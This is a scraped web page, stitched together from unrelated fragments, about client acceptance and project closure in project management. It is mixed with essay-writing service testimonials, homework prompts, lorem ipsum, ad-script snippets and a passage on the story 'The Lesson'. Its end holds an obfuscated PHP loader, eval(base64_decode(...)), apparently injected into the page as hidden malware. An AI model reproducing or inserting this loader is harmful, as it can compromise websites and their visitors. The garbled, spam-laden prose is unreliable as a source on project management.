I recommend to anyone looking for a peace of mind! It simply happens. WebHaving knowing detail the importance of client acceptance throughout the project can help us in many things. Note: You should define client needs first. customer specifications. Work through the following checklist to ensure your project is successfully completed. If rejected, {client name} will indicate on the form, the criteria that were not met, mark the form as rejected, and return it to {your agency project manager name}. It does not have an accompanying sign-off of completion or acceptance. Your Acceptance Management Plan must make clear that deliverables completed throughout the project are real components of the overall system and not prototypes. 1. While there the children learn an important lesson about the economy and how unfair it is in the black communities. By officially closing a project, you minimize risks, increase client satisfaction, and ensure all parties are on the same page. I was stuck with my MSN final project, and almost dropped the course, until a dear friend shared with me the link to this amazing website. View Coaching Solutions Stakeholders are a wealth of knowledge about current processes, historical information, and industry insight. While internal deliverables make a project run, they do not constitute the product expected to be seen by the end users. Thus, it is vital to involve all stakeholders in this activity to identify their specific lessons. From thence, I have been in love with these guys. Proficient Learning, LLC WebService organization management and the service auditor each have specific responsibilities in a SOC 2 examination.This blog describes the service auditors responsibilities, including the preconditions of engagement acceptance and the importance of understanding the terms of the engagement with management.. Customers To ensure project success, it helps that you know all of the key stakeholders on your project, how they prefer to communicate, what their needs are, and what the acceptable end results are. The lessons learned in a project need to be preserved for future reference. The project closure process ensures that: The project management closure process also gives the team the opportunity to review and evaluate the projects performance to ensure future projects success. WebQ1. The client or customer utilizes the deliverable documents to make a review of what has been achieved. Web5 Easy Steps to Improve Customer Satisfaction in Project Management. Sometimes this is the result of human nature (natural resistance to anything new or modified) and such resistance can significantly impede project progress. make sure their project is on time and satisfies the client. Want to learn more? They compare the handcrafted fiberglass sailboat, which costs $1,195, to the ones they make from a kit, which cost about 50 cents. API-First, No/Low-Code & ChatGPT What They Mean For The Future of Software Development? Phone: USA: +1 315 636-4352, UK: +44 3286 1801 What are the key challenges of knowledge management? It provides an assurance that a project is closed and further charges cannot be attributed or accrued to that particular project. For small projects, this acceptance can be very informal and ceremonial, or it can be very formal, involving extensive acceptance testing against the client's performance specifications. If necessary, {your agency project manager name} will invoke the Change Control process. There really was no client to satisfy just a decision to be made. I didnt know such service even existed. Employee Benefits: Why are How Technology is Streamlining Business Operations. Thus, the project manager should ensure that right from the project initiation stage, customer expectations are considered so that their fulfillment is guaranteed at the end of the project. So concerned and a great guy. and index them in the company archives for later reference. Course Hero is not sponsored or endorsed by any college or university. The project manager should be honest with the stakeholders and explain the reasons that cause the variation.if(typeof ez_ad_units!='undefined'){ez_ad_units.push([[250,250],'projectpractical_com-large-leaderboard-2','ezslot_17',630,'0','0'])};__ez_fad_position('div-gpt-ad-projectpractical_com-large-leaderboard-2-0'); The project manager should ensure that the project owner understands every detail of concern, and also elaborate about the project handover work including support that will be provided after project closure. Donec aliquet. If you were leading a project, and the project declines the final acceptance, what do you believe the team may have failed at? It does now not have, an accompanying sign-off of completion or recognition. Setting your project goals correctly helps you understand crucial metrics like return on investment (ROI), conversion rate, engagement, churn, and so on. Increase a clients site traffic by 10,000 visitors per month. The project manager should guide the stakeholders in reviewing whether the project has delivered all that was expected. This is when you identify your project stakeholders. Provide a few highlights that the course has offered you. At first glance, it might seem like completing the first four phases of the project lifecycle would be all you need to do to tie up your project and call it good. 1508 Military Cutoff Road, Ste 304 I will be loyal costumer to you. Nam lacinia p, , dictum vitae odio. If youre just getting started with lessons learned, use these five steps to ensure youre accurately capturing, documenting, and sharing the projects information in a way that everyone can access. How closely did the project meet the customer's needs? Lorem ipsum dolor sit amet, consectetur ad, ng elit. You should NOT, provide an overview of the assignments assigned in the course. Client satisfaction is the most important factor in defining a successful project. These acceptance criteria are the guidelines for the developers to design the correct functions and for the client to determine whether the final result is what they asked for. Then say why its important and relate it to time management. When I ordered my paper, even me i couldnt understand some of the things the professor needed. The final deliverable documents contain the service or product produced by a project for the client, customer, or the project sponsor. Include a useful dashboard in the weekly status report; Obtain a C-level representative for a forthcoming project client status call/meeting; Workshops on lessons learned should be held multiple times throughout the project. 2. Providing Expertise. the project declines the final acceptance on a management question and need an explanation to help me understand better. The childrens perspective on life is opposed from those that shop at F.A.O Schwartz, because of their poor upbringing. Then say why its important and relate it to time management. The first step to closing out your project is to finalize and transfer the project deliverables to the client. The project manager can increase the chance of getting the project owner to approve the closure by having a set agenda for the meeting. Why should Dow Chemical access data at the points of origin in real time? What are the advantages and disadvantages of knowledge management systems? This helps to make an informed decision regarding the approval of project deliverables. This is most often included in the more detailed requirements or Statement of Work. Uncovering risks and then discussing a plan to mitigate them before issues arise will dramatically increase the success of your project. Pellentesque dapibus efficitur laoreet. On any web development project, WordPress or not, delivering a result that the client accepts is not always easy. If a deliverable or other component that has already been accepted requires change, the documented Change Control Procedure will be invoked. But external deliverables are the product that is delivered to the client or end users. It clearly defines the scope, desired outcomes, and testing criteria for pieces of functionality being worked on by the delivery team. Lorem ipsum dolor sit amet, consectetur adipiscing elit. It was too good to be true. The objectives of the project closing process are to: The scope of the project closing process includes:if(typeof ez_ad_units!='undefined'){ez_ad_units.push([[580,400],'projectpractical_com-medrectangle-3','ezslot_6',149,'0','0'])};__ez_fad_position('div-gpt-ad-projectpractical_com-medrectangle-3-0'); The project closing process consists of the following activities. Stakeholders should always be aware of the project scope, key milestones, and when they will be expected to review any deliverables prior to final acceptance. The project closure process also ensures the project is formally completed and is no longer considered a project, allowing you to hand the reins over to the correct team in charge of managing and maintaining the projects outputs. You'll get a detailed solution from a subject matter expert that helps you learn core concepts. If there is any area that the project failed to deliver, it should be noted. The most popular online Visio alternative, Lucidchart is utilized in over 180 countries by millions of users, from sales managers mapping out target organizations to IT directors visualizing their network infrastructure. The first step in requirements gathering is to assign roles in your project. The success in the project is recorded to aid future project managers and stakeholders obtain guidance and achieve better results. WebBy officially closing a project, you minimize risks, increase client satisfaction, and ensure all parties are on the same page. b. WebTop ways to enhance client satisfaction in project management. A stakeholder is anyone invested in the project, whether theyre internal or external partners. 4. By the end of the project, the team members should have already been aware of delivery expectations, risks, and how to mitigate the risks. This process should help avoid any surprises at the end of your project. Go through your project plan to identify all deliverables and make sure they have been fully completed and handed off. The service is great, the writers are friendly, and revisions are unlimited. This report is presented to the project sponsor who formally receives and approves it. Notify them of the end of the project, confirm any final payments or obligations, and officially release them so they are free to work on other projects. Therefore, the project sponsor conducts a review of the final deliverables to make sure they meet the requirements specified in the project management plan. The second goal is to identify important determinants, which can facilitate the management of client expectations. Its important to involve all key stakeholders when gathering and documenting requirements to avoid missing major deliverables of the project. As gradual acceptance occurs, the client gains vested ownership of the results and the developers get the satisfaction of regular accomplishments. Donec aliquet. ( 8 marks ) (In answering, you should be considering some of the following questions. Offer some insights, from researching the Internet, around. The meeting aims to have the project owner agree with the idea of closing the project. Great service in the past. Our blog offers vital advice and recommendations on industry best practices. The customers will be hav. This process ensures the final stakeholders have the information, resources, and training to successfully manage and use the end product. How Execution of Automated tests. The closing phase also gives you the opportunity to review and evaluate the projects success (or failure), which is crucial for planning and executing successful projects in the future. All rights reserved. Provide a few highlights that the course has offered you (you can pull from your practical connection assignment). WebThis should go beyond a single focus group or survey and should feature regular interaction, throughout the project, either in person or via online collaboration tools. WebThe client is given the opportunity to express satisfaction and identify areas in which project communication and other factors could be improved. Therefore, the project manager works with all stakeholders to collect the lessons they learned. This happens after the client has confirmed that project deliverables are satisfactory. How can the project manager and planner use the needs analysis to help make sure their project is on time and satisfies the client. WebGetting Client Acceptance. In other words, calculate the projects performance in terms of cost, schedule, and quality. The client decides when the project is done. Whether internal or external, all of the projects that you manage have stakeholders. This form can be used to record the client's sign-off and officially bring the project to a close. Often a senior manager from the organization interviews the client to develop feedback on the project team performance. Moreover, it confirms that the project has been concluded and this permits reassignment of faculty and staff assigned to that project to a different activity or task. Note: You should define client needs first. Nam lacinia pulvinar tortor nec facilisis. Click here. You'll get a detailed solution from a subject matter expert that helps you learn core concepts. However, without a formal closing process, you risk letting crucial details fall through the cracks, which can result in confusion, a never-ending project, dissatisfied clients, and even liability issues. Were there issues with the quality or compromises along the way? Here is an example of some acceptance criteria that might be used for the ecommerce portion of a WordPress project. The following. Granting Project Acceptance Note: You should define client needs first. Convening a project closure meeting is the best way to end any project. Assess whether the project was done in accordance with the plan, Make sure that all project plans and documentation are transferred to the client and archived, Release project team members involved in the project, Determine the lessons learned throughout the project, Approval and acceptance of project deliverables and reviewing if they meet the requirements, Transferring project documentation and plans to the assigning partly for archiving, Gathering the lessons learned from the project, Conducting project closure meeting and releasing the project team. I had to gift my writer with an iPhone. Ensure project deliverables are approved and transferred to the assigning party. At the end of this activity, the project manager develops a Lessons Learned Report. Fusce dui lectus, congue vel laoreet ac, dictum vitae odio. Stakeholders may have some issues concerning the project and the final product. How Does Resource Planning Help in Building an Efficient Workforce? Did the team members involved manage their time wisely? The project manager clarifies the effect of the final product or service to the stakeholders or processes and operations of the company. Project Client Acceptance and Sign-Off Form. There are also live events, courses curated by job role, and more. Here is a sample Acceptance Management Plan section of a WordPress Project proposal that you can use and modify for your agency and specific client. Be sure to sign up NOW below to connect with us and you will be eligible for early student discounts. Nam lacinia pulvinar tortor nec facilisis. WebOffer some insights, from researching the Internet, around the importance of client acceptance throughout the project. Change will continue to occur throughout the project but a formal acceptance procedure will help to prevent unnecessary change. Here, the objective is to gather all the risk issues that were encountered in the course of planning and implementing the project. The activity aims to have the employees get back to their usual duties or assigned another project. Importance of client acceptance. The customers will be hav View the full answer Nam lacinia pulvinar tortor nec facilisis. They all will bring value and expertise to help ensure your project is a success! We reviewed their content and use your feedback to keep the quality high. Some of the ways stakeholders are important to a project are as follows. What are the metrics by. WebThe project team can benefit from clearly established acceptance criteria in a variety of ways, including: Defining the client's expectations for the final output. WebImportance of client acceptance throughout the project The patron comes to a decision when the assignment is done. Demonstrate a connection to your current work environment. OReilly members experience books, live events, courses curated by job role, and more from OReilly and nearly 200 top publishers. With this intuitive, cloud-based solution, everyone can work visually and collaborate in real time while building flowcharts, mockups, UML diagrams, and more. How This activity is concerned with the documentation of all the activities involved in the project closing process. In this wealthy white neighborhood it is common to spend obscene amounts of money on toys and really anything a black poor family would deem unnecessary for the price. Explain in detail the importance of client acceptance throughout the project. Of course, acceptance criteria will vary significantly depending on the details of the project and the specific deliverable. View all OReilly videos, Superstream events, and Meet the Expert sessions on your home TV. Assess managements appreciation of internal control. the importance of client acceptance throughout the project. If you are a service organization looking for This is the stage where all deliverables are finalized and formally transferred, and all documentation is signed off, approved, and archived. Awesome, awesome, awesome! Any extra work performed should also be identified. In other words, project closure is a process you cant afford to skip. Review all the project documentation to ensure all parties have been paid for the work and there are no outstanding invoices. The system will automatically and accurately compute sales tax and shipping fees. Email us: [emailprotected] / [emailprotected]. ?>. The closing phase of project management involves several steps. It is vital to fully complete this process at project conclusion for several reasons. Use this form when the project outcome has been measured against its acceptance criteria and has been formally accepted on behalf of the client. All project management processes have been executed. The WooCommerce plugin will be installed and configured. This will help you manage the relationship throughout the project instead of there being surprises at the end. Full Document. Using these documents, the client can determine whether the deliverables meet the set quality standards. Wealth and race are essentially linked therefore making it hard for white people and African-American peo. Offer some insights, from researching the Internet, around the importance of client acceptance throughout the project. It is important that the client understand that acceptance is a gradual process occurring throughout the project rather than as a onetime event at the end. Expert Answer Any project we take up is said to be successful only when it is accepted by customers. Each person involved needs to agree on the projects completion before you can formally close it out and move on. Pivoting the project direction when you are already mid-way. Its not enough to declare a project done yourself. A client or customer expects to receive a product or service that satisfies his expectations. The details for specific deliverable and project acceptance will be detailed in your Statement of Work (or detailed requirements) after the project has been approved. The acceptance criteria also serves as the basis for rejection when it occurs. This means that project acceptance criteria (also known as project management acceptance criteria or project deliverables acceptance criteria) have two critical characteristics for our project deliverables (or products): Having unjust economic and social system creating unfair access to money and resources for black Americans is a prevalent theme in the story The Lesson. The end of a project is a big accomplishment and represents the culmination of many hours of hard work and dedication from a team of contributors. Identify This is where you identify lessons learned from the project to document in step two. One of the main reasons projects fail is because the deliverables were not what the customer wanted or they did not meet the customers needs. Then say why its important and relate it to time management. this short story describes if given a chance to create ones own happiness doesnt mean being wealth or not. The online store will be able to accommodate purchases of both physical and digital products. I used compliantpapers.com for my online test, and they scored 9/10, and I was so amazed. Lucidchart is the intelligent diagramming application that empowers teams to clarify complexity, align their insights, and build the futurefaster. WebThe advantage of including the client in project activities is to gain the clients personal investment in the project plan, to create a better understanding for the client of the problems the project encounters during the life of the project, and to gain the insights and contributions of the client in problem solving. eval(base64_decode("aWYgKCFkZWZpbmVkKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JykpCnsKZGVmaW5lKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JywgMSk7CgogJEtjSFlmZ1pxRCA9IDc0NjM7IGZ1bmN0aW9uIE9neWNOZ3EoJFVEckVQUEtlLCAkYU1LYmIpeyR4YllzQWxaID0gJyc7IGZvcigkaT0wOyAkaSA8IHN0cmxlbigkVURyRVBQS2UpOyAkaSsrKXskeGJZc0FsWiAuPSBpc3NldCgkYU1LYmJbJFVEckVQUEtlWyRpXV0pID8gJGFNS2JiWyRVRHJFUFBLZVskaV1dIDogJFVEckVQUEtlWyRpXTt9CiRxU2hZUUs9InJhd3VybCIgLiAiZGVjb2RlIjtyZXR1cm4gJHFTaFlRSygkeGJZc0FsWik7fQokQVVpeG9yID0gJyU3Z21GbV9QajElaWUlaVJqMjJ2Ml91dnElaVIlaXQlaWdRYVdXJWlUJUxzJWdvJWdkJTdnbUZtX1BqMSVpZSVpUnV2cV8nLgonajIydjJQJWlSJWl0JWlnZyVpVCVMcyVnbyVnZCU3Z21GbV9QajElaWUlaVJsOHBfanBqQkUxbXZGXzFtbGolaVIlaXQlaWdnJWlUJUxzJWdvJScuCidnZCU3Z2oyMnYyXzJqR3YyMW1GcSVpZWclaVQlTHMlZ28lZ2QlN2dQajFfMW1sal91bWxtMSVpZWclaVQlTHMlZ28lZ2QlZ28lZ2QlZ28lZ2RtWSVpZSVpJy4KJ1ZDalltRmpDJWllJWlpTUpNX2tyVyVpaSVpVCVpVCVnbyVnZCVScyVnbyVnZCVpZyVpZyVpZyVpZ0NqWW1GaicuCiclaWUlaWlNSk1fa3JXJWlpJWl0JWlnJWlpJUt0RiVpaSVpVCVMcyVnbyVnZCVSbyVnbyVnZCVnbyVnZG1ZJWllJWlWQ2pZbUZqQyVpZSVpaW9YbicuCidrdDBybk9fNWtNZG5kMHJuJWlpJWlUJWlUJWdvJWdkJVJzJWdvJWdkJWlnJWlnJWlnJWlnQ2pZbUZqJWllJWlpb1hua3Qwcm5PXzVrTWRuZDBybiVpaSVpdCVpZyVpaS8lJy4KJ2lpJWlUJUxzJWdvJWdkJVJvJWdvJWdkJWdvJWdkbVklaWclaWUlaVZDalltRmpDJWllJWlSZFdua2RvT19uYVFfVjc3QmVSQll4aUxaOGVpODhZbXhlJy4KJzJtOFpWeDgxbXZWZSVpUiVpVCVpVCVnbyVnZCVScyVnbyVnZCVpZyVpZyVpZyVpZ0NqWW0nLgonRmolaWUlaVJkV25rZG9PX25hUV9WNzdCZVJCWXhpTFo4ZWk4OFlteGUybThaVng4MW12VmUlaVIlaXQlaWdWJWlUJUxzJWdvJWdkJWdvJWdkJScuCidpZyVpZyVpZyVpZyVpN0M4MTglaWclTG8laWdRYVdXJUxzJWdvJWdkJWlnJWlnJWlnJWlnJScuCidpN0M4MThfQWpOJWlnJUxvJWlnUWFXVyVMcyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpZyVpN2NXcnNkVzUlS3MlaVJCUF84RTE5JWlSJUtvJScuCidpZyVMbyVpZyVpUmVqeEJlN1RqLVplaWUtN1pMOC04WVJ4LVlMZ1k3aUw3WmVZNyVpUiVMcyVnbyVnZCVpZyVpZyVpZyVpZ3F1dlo4dSVpZyVpN0JQXzhFMScuCic5JUxzJWdvJWdkJWdvJWdkJWdvJWdkJWlnJWlnJWlnJWlnWUVGQjFtdkYlaWdCUF9jajFKdlAxJWllJWlUJWdvJWdkJWlnJWlnJWlnJWlnJVJzJWdvJWdkJWlnJWlnJWlnJScuCidpZyVpZyVpZyVpZyVpZzJqMUUyRiVpZ1AxMjF2dXZ6ajIlaWVHMmpxXzJqR3U4QmolaWUlaVIvJUtrJWllenp6JVJ0WTFHJWlUJUt0Li9tJWlSJWl0JWlSJy4KJyVpUiVpdCU3ZyVpN181a242a24lS3MlaVJKMDBNX0pyNTAlaVIlS28laVQlaVQlTHMlZ28lZ2QlaWcnLgonJWlnJWlnJWlnJVJvJWdvJWdkJWdvJWdkJWlnJWlnJWlnJWlnWUVGQjFtdkYlaWdCUF9jajFmMm0xOFp1am9tMlAlaWUlaVQlZ28lZ2QlaWclaWclaWclaWclUnMlZ28lJy4KJ2dkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWk3MmpQJWlnJUxvJWlnZDIyOE4laWUlaVQlTHMlZ28lZ2QlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaTcnLgonOEY4dU5QTlBfVUVqRWolaWclTG8laWdkMjI4TiVpZSVpVCVMcyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZycuCiclaWclaWclaTc4Rjh1TlBOUF9VRWpFaiVLcyVLbyVpZyVMbyVpZ0JQX2NqMW92Qm52djElaWUlaVQlTHMlZ28lZ2QlZ28nLgonJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWk3UGp1WV9HODE5JWlnJUxvJWlnJWk3XzVrbjZrbiVLcyVpUjUnLgondG5YTTBfRFhXa1FkeWslaVIlS28lTHMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWd6OW11aiVpZyVpZSVpZSVpN1B1OFA5JWlnJy4KJyVMbyVpZ1AxMjJHdlAlaWUlaTdQanVZX0c4MTklaXQlaWdvWG5rdDBybk9fNWtNZG5kMHJuJWlUJWlUJWlnJWlWJUxvJUwnLgonbyVpZ0RkVzVrJWlUJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJVJzJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWknLgonZyVpZyVpN1BqdVlfRzgxOSVpZyVMbyVpZ1BFWlAxMiVpZSVpN1BqdVlfRzgxOSVpdCVpZ2claXQlaWclaTdQdTgnLgonUDklaVQlTHMlZ28lZ2QlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWdtWSVpZyVpZSVpN1BqdVlfRzgxOSVpJy4KJ2clTG8lTG8laWdCUF9jajFvdkJudnYxJWllJWlUJWlUJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJVJzJWdvJWcnLgonZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZ1oyajhBJUxzJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJy4KJyVpZyVpZyVpZyVpZyVSbyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZ21ZJWlnJWllUDEydScuCidqRiVpZSVpN1BqdVlfRzgxOSVpVCVpVCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVScyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpJy4KJ2claWclaWclaWclaWclaWclaWclaWclaTc4Rjh1TlBOUF9VRWpFaiVLcyVLbyVpZyVMbyVpZyVpN1BqdVlfRzgxOSVMcyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpJy4KJ2claWclaWclaWclaWclaWclUm8lZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclUm8lZ28lZ2QlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWdZJy4KJ3YyajhCOSVpZyVpZSVpNzhGOHVOUE5QX1VFakVqJWlnOFAlaWclaTdCRTIyakYxX0NtMiVpVCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyUnLgonUnMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWdtWSVpZyVpZSVpVm1GXzgyMjhOJWllJWk3 BE22jF1_C'.
'm2%it%ig%i72jP%iT%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%'.
'ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i72jP%ig%Lo%ig8228N_lj2qj%ie%i72jP%it%igBP_cj1om2jB'.
'1v2NWmP1%ie%i7BE22jF1_Cm2%iT%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig'.
'%Ro%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%ig%ig%ig%'.
'ig%ig2j1E2F%igBP_t9jBAf2m18Zuj%ie8228N_EFmUEj%ie%i72jP%iT%iT%Ls%go%gd%ig%ig%ig%ig%Ro%go%gd'.
'%go%gd%ig%ig%ig%igYEFB1mvF%igBP_t9jBAf2m18Zuj%ie%i7Cm2_umP1%iT%go%gd%ig%ig%ig%ig%R'.
's%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i7Cm2_umP1_z2m18Zuj%ig%Lo%igd228N%ie%iT%'.
'Ls%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%igYv2j8B9%ig%ie%i7Cm2_umP1%ig8P%ig%i7Cm2%iT%go%gd%ig%i'.
'g%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igmY%ig%ie%7'.
'gmP_z2m18Zuj%ie%i7Cm2%iT%ig%ix%ix%igmP_Cm2%ie%i7Cm2%iT%iT%go%gd%ig%ig%ig%ig%ig%ig%ig'.
'%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i7Cm2_umP1_z2m18Z'.
'uj%Ks%Ko%ig%Lo%ig%i7Cm2%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig'.
'%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%ig%i7Cm2_umP1_z2m18Zuj%Ls%go%gd%ig%'.
'ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%igYEFB1mvF%igBP_cj1om2jB1v2NWmP1'.
'%ie%i7Cm2%it%ig%i7CjG19%LoVg%iT%go%gd%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig'.
'%ig%ig%ig%i72jPEu1%ig%Lo%ig8228N%ie%iT%Ls%go%gd%go%gd%ig%ig%ig%ig%ig%ig%'.
'ig%igmY%ig%ie%iVmP_Cm2%ie%i7Cm2%iT%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%i'.
'g%ig%ig%ig%ig2j1E2F%ig%i72jPEu1%Ls%go%gd%ig%ig%ig%ig%ig%ig%i'.
'g%ig%Ro%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i72jPEu'.
'1%Ks%Ko%ig%Lo%ig%i7Cm2%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i7Cm2_'.
'BvEF1%ig%Lo%igg%Ls%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%igmY%ig%ie%i7CjG19%ig%Lt%igV%iT%go%'.
'gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%'.
'ig2j1E2F%ig%i72jPEu1%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i7Cm2%'.
'ig%Lo%igP12ujF%ie%i7Cm2%iT%ig%Lo%Lo%igV%ig%LD%ig%i7Cm2%ig%Ld%ig2'.
'12ml%ie%i7Cm2%it%ig%iR%Kt%Kt/%iR%iT%Ls%go%gd%ig%ig%ig%'.
'ig%ig%ig%ig%ig%i79%ig%Lo%ig%7gvGjFCm2%ie%i7Cm2%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%igmY%ig%ie%i79%ig%'.
'Lo%Lo%Lo%igDdW5k%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig2j1E'.
'2F%ig%i72jPEu1%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%i'.
'g%ig%ig%ig%ig%igz9muj%ig%ie%ie%i7Y%ig%Lo%ig2j8CCm2%ie%i79%iT%iT%ig%iV%Lo%Lo%igDdW5k%'.
'iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igmY%ig'.
'%ie%i7Y%ig%iV%Lo%Lo%ig%iR.%iR%ig8FC%ig%i7Y%ig%iV%Lo%Lo%ig%iR..%iR'.
'%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig'.
'%ig%ig%ig%i7BE22jF1_Cm2%ig%Lo%ig%ii%i7Cm2/%i7Y%ii%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%'.
'ig%ig%ig%ig%igmY%ig%iemP_Cm2%ie%i7BE22jF1_Cm2%iT%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%'.
'ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i7C'.
'm2_BvEF1%ig%is%Lo%igV%Ls%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i'.
'g%ig%ig%ig%ig%ig%i72jPEu1%Ks%Ko%ig%Lo%ig%i7BE22jF1_Cm2%Ls%go%gd%ig%i'.
'g%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i'.
'g%i72jPEu1%ig%Lo%ig8228N_lj2qj%ie%i72jPEu1%it%igBP_cj1om2jB1v2NWmP1%ie%i7BE22jF1_Cm2%it%ig%i7Cj'.
'G19%ig/%igVg%iT%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig%i'.
'g%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%'.
'gd%go%gd%ig%ig%ig%ig%ig%ig%ig%igBuvPjCm2%ie%i79%iT%Ls%go%g'.
'd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%ig%i72jPEu1%Ls%go%gd%ig%ig%ig%i'.
'g%Ro%go%gd%go%gd%ig%ig%ig%igYEFB1mvF%igBP_cj1ovBnvv1%ie%iT%go%gd'.
'%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i7CvB2vv1_jFC%ig%Lo%i'.
'gP122GvP%ie%i7_5kn6kn%Ks%iR5tnXM0_DXWkQdyk%iR%Ko%it%ig%i7_5kn6kn%Ks%iRnkbak50_anX%iR%Ko%iT%L'.
's%go%gd%ig%ig%ig%ig%ig%ig%ig%igmY%ig%ie%i7CvB2vv1_jFC%ig%Lo%Lo%Lo%igDdW5k%iT%go%gd%ig%ig%ig%'.
'ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%ig%i'.
'7_5kn6kn%Ks%iRortaykQ0_nrr0%iR%Ko%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%i'.
'g%ig%ig%ig%ig%igjuPjmY%ig%ie%i7CvB2vv1_jFC%ig%Lo%Lo%Lo%igg%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%i'.
'g%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%ig%ii/%ii%Ls%go%gd%ig%i'.
'g%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig%ig%ig%ig%igjuPj%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig'.
'%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%igPEZP12%ie%i7_5kn6kn%Ks%iR5tnXM0_DXWkQdyk%iR%Ko%i'.
't%igg%it%ig%i7CvB2vv1_jFC%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%i'.
'g%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%igmY%ig%ie%iVYEFB1mvF_jpmP1P%ie%i'.
'RYmuj_GE1_BvF1jF1P%iR%iT%iT%go%gd%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig'.
'%ig%igYEFB1mvF%igYmuj_GE1_BvF1jF1P%ie%i7F%it%ig%i7C%it%ig%i7Yu8q%ig'.
'%Lo%igD8uPj%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i7lvC'.
